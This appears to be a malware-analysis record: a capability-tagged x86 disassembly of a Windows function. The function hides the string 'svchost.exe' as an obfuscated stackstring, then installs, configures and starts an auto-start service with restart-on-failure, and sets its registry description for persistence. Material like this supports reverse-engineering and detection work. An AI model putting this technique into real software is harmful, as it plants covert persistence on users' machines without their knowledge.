Function at 0x100061d0
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100104f8
push 0x100093f6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x36c
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x340]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x23c], 0x43
mov byte [ebp - 0x23b], 0x3a
mov dl, 0x5c
mov byte [ebp - 0x23a], dl
mov byte [ebp - 0x239], 0x57
mov byte [ebp - 0x238], 0x69
mov byte [ebp - 0x237], 0x6e
mov byte [ebp - 0x236], 0x64
mov cl, 0x6f
mov byte [ebp - 0x235], cl
mov byte [ebp - 0x234], 0x77
mov al, 0x73
mov byte [ebp - 0x233], al
mov byte [ebp - 0x232], dl
mov byte [ebp - 0x231], al
mov byte [ebp - 0x230], 0x76
mov byte [ebp - 0x22f], 0x63
mov byte [ebp - 0x22e], 0x68
mov byte [ebp - 0x22d], cl
mov byte [ebp - 0x22c], al
mov byte [ebp - 0x22b], 0x74
mov byte [ebp - 0x22a], 0x2e
mov al, 0x65
mov byte [ebp - 0x229], al
mov byte [ebp - 0x228], 0x78
mov byte [ebp - 0x227], al
mov byte [ebp - 0x226], 0
lea ecx, [ebp - 0x23c]
push ecx
push 0x10016828
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x224], esi
xor ebx, ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x344], edi
cmp edi, esi
je 0x100064cd
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x220]
push eax
push 1
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
mov dword [ebp - 0x348], ebx
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x34c], str.Jklmno
lea eax, [ebp - 0x34c]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x37c], esi
xor ecx, ecx
mov dword [ebp - 0x378], ecx
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x370], ecx
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x378], esi
mov dword [ebp - 0x37c], 0x15180
mov dword [ebp - 0x360], 0x1b58
mov eax, 1
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x358], esi
mov dword [ebp - 0x35c], eax
mov dword [ebp - 0x350], esi
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x370], 3
lea edx, [ebp - 0x364]
mov dword [ebp - 0x36c], edx
mov dword [ebp - 0x374], esi
lea eax, [ebp - 0x37c]
push eax
push 2
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, dword [ebp - 0x368]
push ecx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp ebx, esi
jne 0x10006423
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x10006423
push 0xf01ff
mov edx, dword [ebp + 8]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
mov dword [ebp - 0x348], ebx
cmp ebx, esi
je 0x100064cd
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x100064cd
lea edx, [ebp - 0x11c]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [ebp - 0x344]
xor esi, esi
mov dword [ebp - 4], 0xffffffff
call fcn.100064f8
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret